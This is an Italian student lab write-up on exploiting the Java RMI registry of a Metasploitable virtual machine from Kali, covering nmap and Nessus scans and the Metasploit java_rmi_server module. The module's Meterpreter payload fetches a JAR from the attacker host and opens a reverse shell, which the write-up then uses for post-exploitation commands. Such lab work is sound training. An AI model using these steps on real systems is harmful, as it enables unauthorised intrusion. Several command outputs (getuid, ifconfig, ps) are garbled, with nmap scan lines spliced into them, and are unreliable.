

PROGETTO SETTIMANA 7

VULNERABILITÀ JAVA RMI

REQUISITI:

La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.99.111

La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.99.112

Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete; 2) informazioni sulla tabella di routing della macchina vittima 3) altro..

Impostazioni ip

Impostiamo gli indirizzi ip richiesti dall'esercizio

192.168.99.111 per kali

```
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:7e:9a:7a brd ff:ff:ff:ff:ff:ff
    inet 192.168.99.111/24 brd 192.168.99.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe7e:9a7a/64 scope link
        valid_lft forever preferred_lft forever
```

192.168.99.112 per metasploitable

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:93:89:a1 brd ff:ff:ff:ff:ff:ff
    inet 192.168.99.112/24 brd 192.168.99.255 scope global eth0
    inet6 fe80::a00:27ff:fe93:89a1/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ _
```

SCANSIONE E RACCOLTA INFORMAZIONI

Prima di procedere con l'exploit verifichiamo la presenza del servizio tramite scansioni e se risulta effettivamente vulnerabile per un eventuale attacco

Effettuiamo una scansione con Nmap per verificare la presenza del servizio

```
(kali@kali)-[~]
$ nmap -sV 192.168.99.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-16 12:15 CEST
Nmap scan report for 192.168.99.112
Host is up (0.0025s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet        Linux telnetd
25/tcp    open  smtp          Postfix smtpd
53/tcp    open  domain        ISC BIND 9.4.2
80/tcp    open  http          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind       2 (RPC #100000)
139/tcp   open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec          netkit-rsh rshd
513/tcp   open  login?
514/tcp   open  shell         Netkit rshd
1099/tcp  open  java-rmi      GNU Classpath grmiregistry
1524/tcp  open  bindshell     Metasploitable root shell
2049/tcp  open  nfs           2-4 (RPC #100003)
2121/tcp  open  ftp           ProFTPD 1.3.1
3306/tcp  open  mysql         MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql    PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc           VNC (protocol 3.3)
6000/tcp  open  X11 (BOB)     (access denied)
6667/tcp  open  irc           UnrealIRCd
8009/tcp  open  ajp13         Apache Jserv (Protocol v1.3)
8180/tcp  open  http          Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.30 seconds
```

Effettuiamo una scansione avanzata sulla porta 1099 dove risulta attivo il servizio

```
(kali@kali)-[~]
$ nmap -A 192.168.99.112 -p 1099
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-16 13:02 CEST
Nmap scan report for 192.168.99.112
Host is up (0.0020s latency).
PORT      STATE SERVICE        VERSION
1099/tcp  open  java-rmi      GNU Classpath grmiregistry
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.84 seconds
```

In seguito effettuiamo una seconda scansione con nessus per un'ulteriore verifica della vulnerabilità

INFO

RMI Registry Detection

< >

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

See Also

<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html>
<http://www.nessus.org/u?b6fd7659>

Output

```
Valid response recieved for port 1099:
0x00: 51 AC ED 00 05 77 0F 01 4F BF 29 91 00 00 01 88   Q....w..O.).....
0x10: C3 BD 46 04 80 02 75 72 00 13 5B 4C 6A 61 76 61   ..F...ur..[Ljava
0x20: 2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56   .lang.String;..V
0x30: E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00   ...{G...pxp....
```

To see debug logs, please visit individual host

Port ▲	Hosts
1099 / tcp / rmi_regist...	192.168.99.112

Infine per verificare che il servizio sia effettivamente vulnerabile utilizziamo uno script di nmap sulla porta specifica del servizio

```
(kali㉿kali)-[~]
$ nmap -script=rmi-vuln-classloader -p 1099 192.168.99.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-16 13:06 CEST
Nmap scan report for 192.168.99.112
Host is up (0.0027s latency).
PORT      STATE SERVICE
1099/tcp  open  rmiregistry
| rmi-vuln-classloader:
|   VULNERABLE:
|     RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|     Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
| References:
|   https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
_
Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds
```

Possiamo notare come attraverso questa scansione il servizio ci risulti 'VULNERABLE'
Possiamo adesso procedere con l'exploit

FASE DI EXPLOIT CON MSFCONSOLE

Avviamo msfconsole e ricerchiamo con il comando 'search java_rmi' gli exploit

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No     Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
```

Scegliamo con il comando 'use 1' l'exploit e con il comando 'show options' vediamo i parametri richiesti

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
-      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.99.112 yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   false           no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   false           no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-      -
LHOST     192.168.99.111 yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port
```

Inseriamo con il comando 'RHOSTS 192.168.99.112' l'ip della macchina attaccata necessario per eseguire l'exploit e successivamente con il comando 'show options' controlliamo che sia stato correttamente inserito

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.99.112
RHOSTS => 192.168.99.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
-      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.99.112 yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   false           no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   false           no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-      -
LHOST     192.168.99.111 yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port
```

Possiamo notare che di default è già settato un payload i meterpreter quindi non ci resta con avviare l'exploit ed avviare una sessione

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.99.111:4444
[*] 192.168.99.112:1099 - Using URL: http://192.168.99.111:8080/WmJpUg7qfD
[*] 192.168.99.112:1099 - Server started.
[*] 192.168.99.112:1099 - Sending RMI Header...
[*] 192.168.99.112:1099 - Sending RMI Call ...
[*] 192.168.99.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.99.112
[*] Meterpreter session 1 opened (192.168.99.111:4444 -> 192.168.99.112:34874) at 2023-06-16 13:18:46 +0200

meterpreter > █
```

RACCOLTA INFORMAZIONI MACCHINA

Passiamo adesso alla raccolta informazioni sulla macchina attraverso la shell di meterpreter

- l'id con cui siamo loggati

```
meterpreter> getuid (access denied)
Server username: root UnrealIRCd
```

- Configurazione di rete

```
meterpreter > ifconfig 192.168.99.112
Host is up (0.0025s latency).
Interface 17 closed tcp ports (conn-refused)
=====
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::1
Interface 2
=====
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.99.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe93:89a1
IPv6 Netmask : ::f
```

- Tabella di routing

```
meterpreter > route
Route Table for 192.168.99.112
=====
IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.99.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
```

- Informazioni di sistema

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter >
```

- Processi attivi

```
meterpreter > ps -ps (latency).
Not shown: 977 closed tcp ports (conn-refused)
Process List
=====
PID   PPID  Name      SERVICE      VERSION
-----
1     0     /sbin/init  init          ISC BIND 9.4.2
2     1     [kthreadd]  kthreadd     Apache httpd 2.2.8 ((Ubuntu) DAV/2
3     1     [migration/0]  nd          2 (RPC #1000000)
4     1     [ksoftirqd/0]  ksoftirqd    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
5     1     [watchdog/0]  watchdog     Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
6     1     [events/0]    events        netkit-rshd rshd
7     1     [khelper]     khelper       Metasploitable root shell
41    1     [kblockd/0]   kblockd       Netkit rshd
44    1     [kacpid]      kacpid        GNU Classpath grmiregistry
45    1     [kacpi_notify]  kacpi_notify  Metasploitable root shell
90    1     [kseriod]     kseriod       2-4 (RPC #1000003)
128   1     [pdflush]     pdflush       ProFTPD 1.3.1
129   1     [pdflush]     pdflush       MySQL 5.0.51a-3ubuntu5
130   1     [kswapd0]     kswapd0       PostgreSQL DB 8.3.0 - 8.3.7
172   1     [aio/0]       aio           VNC (protocol 3.3)
1128  1     [ksnapd]      ksnapd        (access denied)
1316  1     [ata/0]       ata           UnrealIRCd
1322  1     [ata/0]       ata           UnrealIRCd
```

- Lista file

```
meterpreter > ls
Listing: /etc
=====
Mode      Permissions      Size      Type      Last modified      Name
-----
100666/rw-rw-rwx 0          file      2010-03-16 23:59:32 +0100 .pwd.lock
040666/rw-rw-rw- 4096       dir      2012-05-20 20:44:51 +0200 X11
100666/rw-rw-rw- 2975       file     2010-03-17 00:00:57 +0100 adduser.conf
100666/rw-rw-rw- 44         file     2012-05-20 21:56:52 +0200 adjtime.conf
100666/rw-rw-rw- 53         file     2010-03-17 00:13:01 +0100 aliases
100666/rw-rw-rw- 12288      file     2010-04-28 22:43:03 +0200 aliases.db
040666/rw-rw-rw- 12288      dir      2012-05-20 21:07:10 +0200 alternatives
040666/rw-rw-rw- 4096       dir      2012-05-20 21:45:56 +0200 apache2
040666/rw-rw-rw- 4096       dir      2010-03-17 00:11:24 +0100 apm
040666/rw-rw-rw- 4096       dir      2010-03-17 00:11:49 +0100 apparmor
040666/rw-rw-rw- 4096       dir      2010-03-17 15:09:40 +0100 apparmor.d
040666/rw-rw-rw- 4096       dir      2010-04-16 08:06:06 +0200 apt
100666/rw-rw-rw- 144        file     2007-02-20 14:41:00 +0100 at.deny
100666/rw-rw-rw- 1733       file     2008-04-15 05:36:26 +0200 bash.bashrc
100666/rw-rw-rw- 216529     file     2008-04-15 03:45:23 +0200 bash_completion
040666/rw-rw-rw- 4096       dir      2010-04-28 06:55:16 +0200 bash_completion.d
040666/rw-rw-rw- 4096       dir      2010-03-16 23:59:31 +0100 belocs
040666/rw-rw-rw- 4096       dir      2010-03-17 15:19:18 +0100 bind
```